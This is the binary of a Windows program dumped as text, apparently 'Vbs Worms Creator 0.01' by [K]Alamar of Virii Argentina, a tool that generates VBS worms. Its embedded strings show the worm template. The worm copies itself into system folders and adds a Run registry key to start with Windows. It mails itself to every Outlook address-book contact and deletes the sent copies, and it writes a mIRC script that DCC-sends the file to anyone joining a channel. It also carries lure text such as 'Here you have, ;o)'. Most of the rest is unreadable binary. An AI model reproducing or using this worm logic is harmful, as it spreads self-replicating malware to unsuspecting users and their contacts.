MZ@ !L!This program cannot be run in DOS mode. $PELU9 2X@<-( @ <.text `.data@.idataL@@.rsrc @@.relocb @B-3MSVBVM50.DLLaE@hE@F@F@G@G@@K@cK@GK@N@M@O@O@:Q@S@S@{@@@Aס@@ҥ@a@@%@%@%@%@%x@%@%`@%@%@%@%@%@%@%@%h@%D@%$@%@@%@@%@%@%@%8@%0@%@%@%@%p@%d@%@%@%@%X@%(@%@%T@%4@%\@%H@%@%|@%@%@%L@%H@%@% @%@%l@% @%D@%t@%@%,@%@%<@%@%@%@%@%<@%@%@%P@%@%@%@%@h@0@$܏uK7>ұVVbs_Creator1'}xL\^ÕL~.:O3f `ӓZMain Vbs Worms Creator by [K]AlamarB"#$Form1&5-JkF CommonDialog1MSComDlg.CommonDialog-LB L!C4OO< A9:('Command3About8hw(Command1CREATEhw+Frame4 Replication/  &Command2Exitw4Check3Use Mirc replication&Frame6Mirc/ g 7 Check2Use Outlook replication) Frame5Outlookx o  5 Text5x G Hi: Check This! 1 Text4X' Here you have, ;o) (Label5Message:x0Label4Message subject:xX7 'Frame1Options/2Check1Start whit windowsh+Frame3 Worm backupxGText3x  "Combo1o ;!-Label3 Copy worm to:xG)Frame2Startupxx? G &Text2X; SysBoot.Label2Registry name:x#Text18 ; Worm*Label1 Worn name:xh,@-@0@4_@VB5!VB5ES.DLL*  x@0@D@d@htVbs_CreatorVbs_CreatorVbs_CreatorP'}xL\^ 4@\PhzGo*C?@\H8H%;\<+/I<+/I90~uM_oRGSfplNG?˸K%$:Ci~yX'Ż] ETp` W$\28C4C820-401A-101B-A3C9-08002B2F49FBCOMDLG32.OCXMSComDlg.CommonDialogCommonDialog,@C@L-@@K`@\0@@ @@ @hl\@@p^02@@2@@4.@`@].@@8.@@].@p@ @@@@F@L@4@@@@F@L@h@l$7鋉,@PD@@@@@*\AE:\asd\donotdelete\vbs creator\Vbs_Creator.vbp@,@DC@,@@,vb,@-@,@4@0@4@ hl"@ĺ@b-@-@@4.@#@].@@ 8.@t#@].@@<.@#@].@@@.@4$@].@@D.@ $@].@ @ H.@ %@].@ @L.@P%@].@@P.@%@].@@ T.@@&@].@@X.@&@]/@@\/@&@] /@@`.@H'@](/@@d4/@'@]D/@@ h.@(@]L/@@l/@P(@]T/@@p/@(@]\/@@t/@)@]d/@@ x.@p)@]l/@@|.@ )@]t/@ @.@ 0*@]|/@ @.@*@]/@@ .@+@]/@@/@d+@]/@@.@+@]/@,@(,@5,@B,@O,@\,@i,@v,@,@4@@@@F@L@ ,@\@@@@F@L@@@@@F@L@@@@@F@L@@@@@F@L@-,@@@@@F@L@$ @@@@F@L@{,@L @@@@F@L@:,@t @@@@F@L@ @@@@F@L@n,@ @@@@F@L@ @@@@F@L@!@@@@F@L@G,@6D0}no'}xL\^{œʛzOМ N3f `ӓCheck1.=h8+3qE:\programas\visualbasic\VB5.OLBVB .@ 0.@T.@@X]N3f `ӓFrame2N3f `ӓText1Text2Check2Frame5:O3f `ӓFormCheck3Frame6N3f `ӓCommand3N3f `ӓLabel4Command2 O3f `ӓCombo1Frame4Label1Label2Label3Frame1Text4Text5Text3Frame3Label5Command1Check1_ClickCheck2_ClickCheck3_ClickCombo1_ClickCommand1_ClickCommand3_ClickForm_LoadCreateWorm N3f `ӓN3f `ӓck}0A񫌰pw Lo%/v4scripting.filesystemobject O3f `ӓGetSpecialFolderN3f `ӓListIndexc:\mircEnabledc:\mirc32WScript.ShellHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDirregreadVbs's|*.vbshzGo*C@W}G Form_Unload DWindows SystemOther...createtextfile h'Worm Created whit [K]Alamar's Vbs Worms Creator 0.1writeline(On Error Resume NextSet = CreateObject()set __vbaLateIdCallLd=createobject(B.copyfile wscript.scriptfullname,(.GetSpecialFolder(0)& \.vbs(.GetSpecialFolder(1).regwrite fHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\,wscript.exe & %if .regread (HKCU\software\\mailed ) <> 1 then() end if\mirquedFunction  &Outlook.ApplicationIf = OutlookThen=.GetNameSpace(MAPIFor Each  In .AddressLists>.AddressEntries.Count <> 0 ThenFor = 1 To *.AddressEntries.Count = .AddressEntries(.CreateItem(0) .To = .Address.Subject = .Body = ".Attachments.Add 2.DeleteAfterSubmit = True.To <> Then .Send End IfNext, End Function.fileexists( c:\mirc\mirc.ini) then MircLoc=$c:\mirc32\mirc.ini Programfilesdir=.regread(<.fileexists(Programfilesdir & \mirc.iniB) then MircLoc=Programfilesdir & \mirc4.CreateTextFile(MircLoc & \script.ini, True).writeline n0=on 1:JOIN:#:{Dn1= /if ( $nick == $me ) { halt }__vbaLateMemCall__vbaNew2,n2= /.dcc send $nick n3=} .close\Mirquedend functionVBA5.DLL__vbaFreeStrList__vbaStrCat__vbaFreeObjList__vbaVarCat__vbaStrVarMove__vbaStrMove__vbaStrCmp__vbaLateIdCall__vbaLateIdSt__vbaFreeVarList__vbaVarMove__vbaStrVarCopy__vbaObjSetAddref__vbaLateMemSt__vbaVarCopy__vbaVarTstEq__vbaFreeVar__vbaFreeStr__vbaObjVar & vbcrlf & __vbaLateMemCallLd__vbaStrVarVal__vbaVarSetVar__vbaFreeObj__vbaHresultCheckObj__vbaObjSet__vbaVarAdd__vbaVarSub__vbaInStrVar__vbaVarTstNe__vbaI4Var__vbaFPInt__vbaLenBstr1hzGo*Cck}0A񫌰:O3f `ӓd\Form1 About Vbs Worm Creator 0.01B"#$Form1&'5-DFText1w This program will help you to create vbs worms. You can add Mirc and Outlook 97/2000 replication to the worm, but soon you will be able to add payloads and a more effective Mirc replicaton way. For more details read the readme.txt file. --------------- This program is for educational purpose only. I take no responsabiliy for any damage caused for the files created whit this program to anything. -------------- Questions? kalamar@virii.com.ar [K]Alamar -HD@B@@D@DC@C@ `A@`A@0/`A@ `A@B@B@HB@$B@A@B@ C@B@ `A@,`A@& `A@ `A@$`A@@lB@A@A@A@@A@A@A@A@D,@A@X.@.@@X.@.@@X.@.@@X.@.@@X.@.@@X.@/@@X.@4/@@fileCancelU h@dPd%SVuWƃe>E@VEuW3VEE<MPQ@؍EPS}hh,0@SPt@3ۍMf9]D@fVt$PMPQ@jV}6"PPEP@jV}hh<0@VPt@MD@EhsE@ MD@ËEPRME_^d []U h@dPd%SVuWƃe>E@VEuW3VEE MPQ@؍EPS}hh,0@SPt@3ۍMf9]D@fVt$$MPQ@jV}6"$PEP@jV}hh<0@VPt@MD@EhF@ MD@ËEPRME_^d []U h@dPd%SVuWƃe>E @VEuW3VEE MPQ@؍EPS}hh,0@SPt@3ۍMf9]D@fVt$MPQ@jV}6"PEP@jV}hh<0@VPt@MD@EhG@ MD@ËEPRME_^d []U h@dPd%XSVuWƃeE0@VEu]SM3hp0@QE܉E؉EԉEĉEEl@UčERP @HVEЋ=@MPQ׋MQPE}Uhh0@RPt@3Mf9E؉ED@f}VDMPQ׃Թ3 Mjh0@JMQBEB @UPR @ PEP@PW}hh0@WPt@MH@MD@ML@]=@UMPQ׋MQPE}Uhh0@RPt@3f}M؉ED@f}VDMPQ׃Թ Mjh0@JMQBEB @UPR @ PEP@PW}hh0@WPt@MH@MD@ML@=@]VUMPQ׋MQPE}Uhh0@RPt@3f}M؉ED@f}Vt DMPQ׋jV}2DPEP׋jV}hh0@VPt@MD@EhmK@MH@MD@ML@ÍM%L@ËEPRME_^d []Uh@dPd%\SV5@W3eEEЉẺEEEPEh0@PE@@E֋= @MPQ׃UPR@L@MEf}t E1@FjUh0@REEPEP׃MPQ@MEf}t!E(1@UME@3EjUh0@REEPEP׃MPQ@MEf} ԉM3h1@ MEJMQBEB P|@Uh@1@Rl@EP֍MPQ@MӃԉM`1@j MEh1@JMQBEB UR׃ ЍMH@h,N@jEh0@PEE֍MPQ׃UPR@MftPUME2@E@ ԉMEh1@ MJMQBEB P|@h,N@UERPj\@ Ë5L@M֍M֍M%D@ËM_^3d []U h@dPd%HSVW}ǃeEP@WE}]SԹ3j MEEEԉEĉJ2@WBEB Ӌ5@MPQP4@MD@jjWӍUPRPT@ MD@jjWPEP֍MPQ@PX@ЍM(@Ph2@@ލMH@MD@ML@ftjjWӍUPR@PEP@PX@ЍM(@EMčUQRW}hh-@WPt@MH@MD@MčUQRj\@ Eh"P@&MH@MD@EčMPQj\@ ËEPRME_^d []U h@dPd%4ESV$WE`@MePEMQ$@uh$@h@@5$@ܹ >M܉ MиKЋVCE؉C E܉EAQUQ }hhL0@VPt@uEjV}hh-@VPt@EEPQME_^d []U h@dPd%0SVuWƃe>Eh@VEu}WHVEӋ=@MPQ׋UԹ EԋE܉ Mhl2@BBEJ UR}Mhh0@QPt@MD@VӍUPR׋UԹ EԋE܉ Mh2@BBEJ UR}Mhh0@QPt@MD@VӍUPR׃EԋԹ E Mh2@JMJMJ UR}Mhh0@QPt@MD@VӍUPR׋jS}hh0@SPt@MD@MV<UPR׋jS}hh,0@SPt@MD@MV UPR׋jS}hh,0@SPt@D@MӋMV UPR׋jV}hh,0@VPt@MEhS@ MD@ËEPQME_^d []U h@dPd%,ESVWeEx@PEQM3E܉ẺEEEE|l\LH8(xhXH8(xhXH8(xhXTPhp0@=l@R׋5 @(PQ֍h@1@R׍lPQփE Թ@@ jJ(h2@QBB ӍPR @ PEP֍PDžP QI5H@֍PDžP RIL֋̸2@j9hD3@QAA MQӋ5@Pփ\3@ԉjhD3@:JMQBB P֋@xDž3@j"RDž3@ӍHj"PDž@1@Ӌ5@LQRPDž3@֍PQRPxhPQPXRP֍HP8QRP(PQփԋj hD3@HJHJM̋@ QB @P@(8HRPXQhRxPQRPW\@$xDž3@j"QDž3@ӍHj"RDžp0@ӍPQRDž3@PPQPxhRP֍PXQRPH8PQP(RP֋jhD3@PQP@ QA MQ@P@(8HRPXQhRxPQRPW\@U$HRPP@TRPL}Lhh0@QPt@3ҍf9TډDD@fDtDž4@Dž\4@URPP@TRPL}Lhh0@QPt@3fTډDD@fDDž4@Dž4@Xj"PDž4@ӋMQDž4@\PP@RPL}Lhh0@QPt@j"RDž0(Dž4@ӍPQRPPQPxRP֍PhQRPXHPQP8RP֍(PQRPPQPRP֋jhD3@PQP@ QA MQ@P@D@RPQ(R8PHQXRhPxQRPQj \@4URPP@TRPL}Lhh0@QPt@3fTډDD@fDBj"PDž4@ӋMQDPP@RPL}Lhh0@QPt@UpRDžhDž4@\PQ@QPD}Dhh0@RPt@j"@PDž8Dž4@ӍQRP֍PxQRPhXPQPHRP֍8P(QRPPQPRP֋jhD3@PQP@ QA MQ@P@RPjd@ QR(P8QHRXPhQxRPQRj \@0EP<PR@TRPL}Lhh,0@QPt@3fTډDD@fD EPPQ@TQPL}Lhh0@RPt@3f9T؉DD@fD@j"QDž4@ӋURDž4@TPQ@QPL}Lhh0@RPt@j"`8PDžXӍj"QDžh5@Ӎj"RDžp5@Ӎxj"PDž5@Dž\4@Dž4@ӋMQDž4@x\PPMQPR@TRPL}Lhh0@QPt@3fTډDD@fDj"PDž4@ӋMQDž4@TPP@RPL}Lhh0@QPt@8j"RDž`XӍj"PDžh5@Ӎj"QDžp5@Ӎxj"RDž5@Dž4@Dž4@ӋEPDž4@x\PR@RPD}Dhh0@QPt@j"RDžPHDžp4@hDž`5@XӍLPQRPxPQPhRP֍XPHQRP8(PQPRP֍PQRPPQPRP֍PQRPPQPRP֍PQRPxhPQPxXRP֍HP8QRPh(PQPXRP֍PQR֋jhD3@PQP@ QA MQ@P@RPjd@ QR(P8QRHXPhQxRPQRPQRPQRP(Q8RHPXQhRxPQRPj\@pAMQPR@TRPL}Lhh0@QPt@3fTډDD@fDj"PDž4@ӋMQDž4@TPP@RPL}Lhh0@QPt@8j"RDž`XӍj"PDžh5@ӋMQDžp5@DPP@RPD}Dhh0@QPt@URDžDž4@\PQ@QP<}@Dž@h|6@DžDž Dž|6@DžP@UQRDžPE̍PQ(jRPPQ@PPU̍RP@MxQhRP׍PXQRPH8PQPRP׋ЍMH@8QRP(QHRXPhQxRMPUQERPj \@4MQ,@ЍM(@h@qEt MH@RPQ(R8PHQXRhPxQERMPUQERPj\@<Ë5L@M֍MËME_^d []U h@dPd%ESV$WeE@PMER@uh@h@@5@jV}hh-@VPt@EEPQME_^d [](P<^lvq,DTQRftx&<Fbx`*<dJZlz *:$#/0b+UxO~g  x.2Jx^-yn0 )6K0BJcY+$|UyD` %$KBxy yDs  0 $B3 e2[xMSVBVM50.DLL__vbaVarSub_CIcos_adj_fptan__vbaVarMove__vbaFreeVar__vbaLenBstr__vbaLateIdCall__vbaStrVarMove__vbaFreeVarList_adj_fdiv_m64__vbaFreeObjList_adj_fprem1__vbaStrCat__vbaHresultCheckObj_adj_fdiv_m32__vbaLateMemSt__vbaObjSet_adj_fdiv_m16i__vbaObjSetAddref_adj_fdivr_m16i_CIsin__vbaChkstkEVENT_SINK_AddRef__vbaStrCmp__vbaVarTstEq__vbaObjVar_adj_fpatan__vbaLateIdCallLdEVENT_SINK_Release_CIsqrtEVENT_SINK_QueryInterface__vbaExceptHandler_adj_fprem_adj_fdivr_m64__vbaFPException__vbaInStrVar__vbaStrVarVal__vbaVarCat_CIlog__vbaNew2_adj_fdiv_m32i_adj_fdivr_m32i__vbaFreeStrList_adj_fdivr_m32_adj_fdiv_r__vbaVarTstNe__vbaVarSetVar__vbaI4Var__vbaVarAdd__vbaLateMemCall__vbaVarCopy__vbaLateMemCallLd_CIatan__vbaStrMove__vbaStrVarCopy_allmul__vbaLateIdSt_CItan__vbaFPInt_CIexp__vbaFreeObj__vbaFreeStrU9X@(U9U9U91u2u3uU9 U9U9U9(U98P0@(hP04VS_VERSION_INFODVarFileInfo$Translation  StringFileInfo040A04B0H.CommentsVbs Worms Creator 0.01@ CompanyNameVirii ArgentinaX.FileDescriptionVbs Worms Creator 0.01\8LegalCopyright[K]Alamar - Virii ArgentinaxPLegalTrademarksVirii Argentina-http://www.virii.com.arD$ProductNameVbs Worms Creator4FileVersion0.00.00018ProductVersion0.00.00018InternalNameVbs_CreatorH OriginalFilenameVbs_Creator.exe 01u 2u(3u( wwpp( @pwpwwpwpp??( @<?=>>>>>>>???? ?,?0?h>l>p>@111111242X2l2p2t2x22222222 303H3\3d3h3l3333333333333444 44444 4$4(4,4044484<4g4444445*5E5M5V5b5m555566/6F6j6666666767S7[7o77777777'8R8i8888888949?9M9c9k9t9}999999:-:8:F:\:d:m:v::::::$;,;5;A;L;U;^;h;;;;;;;<<%>'>W>>>>>>>??)?4?:?@?S?\?e?|??????????P0 00W0|0000001 1'1/1g1111222A2m2u2~22222333E3M3V333333334=4555606N6k6666 747C7i7|77777D8`8g888889|9999 :6:>:^:r:::::: ;;3;O;i;;;;<<<<=/=Y=a======+>E>o>w>>9?W?^?w???`0"0C0i0000001<1D1~111111!2K2S2t22222273R3m3}333333$44455556666 7-7I7c777778/878g8888889:!:A::;2;:;[;|;;;;;;#<>8>T>j>>>>>>>> ?6?>?_???????p'0B0]00U1s1z112<2X2n222222223.363W33333344F4}44444M5k5r5555566666%787H7X7s77'8E8L888899\9z99999::&:?:v:::::;#;J;~;;;;;5>&>F>Y>>>>3?Q?X?g?????090E0Q0d0000)1D1n1v111112 2*2B2R2k2222233333G4g444445+535c5}5555q66667)7?7]7d7s777738@8G8888888888 999'9-939A9G9M9[9a9g9u9{9999999:-:G:q:y::::;;;;I=h=x=====>>+>F>a>|>1?O?V?????03001 1s111111111222222 3'3B3]34047444445"545555L6_6}666777D7h7777"858T8n888889$9S99::5::::%;C;J;;;;;;;;<.E>T>|>>>>???00000011#131a1l1~11111111232222222<3K3f33333344&46444495K5V5[5l555616@6I6N6T6Z6s6{6